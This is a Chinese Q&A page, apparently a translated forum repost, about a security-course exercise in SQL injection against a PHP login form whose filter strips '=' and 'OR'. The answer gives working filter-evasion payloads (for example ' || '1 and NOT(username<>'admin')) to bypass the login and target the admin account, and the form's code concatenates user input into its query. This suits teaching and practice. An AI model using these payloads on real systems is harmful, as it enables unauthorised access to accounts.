使用 php 过滤进行 SQL 注入

2024-03-14

我必须注入一个登录表单来练习计算机安全课程...... 我已经使用简单的方法通过了第一级

' like 1=1--

在密码字段中,但现在在第二级中,我必须使用相同的源代码再次注入相同的登录表单,除了用户和密码由名为 lvl2_filter() 的函数控制这一事实,我认为该函数是过滤器的一部分.php 并且不接受“=”和“OR”

我该怎么做 ???

用户名和密码字段不能为空

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

假设这个定义lvl2_filter http://pastebin.com/yLTdDcB4,这基本上消除了任何出现= and or直到不再找到,应该仍然可以使用逻辑或运算 http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html#operator_or with ||代替OR以及一个计算结果为 true 的简单表达式,例如:

username: dummy
password: ' || '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

要选择特定用户,可以使用布尔代数规则 http://en.wikipedia.org/wiki/Boolean_algebra#Basic_operations, where x=y = !(x!=y):

username: dummy
password: ' || NOT(username<>'admin') AND '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Here <>相当于!=但不包含=.

还有其他操作可以确保username equals admin:

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

使用 php 过滤进行 SQL 注入 的相关文章

随机推荐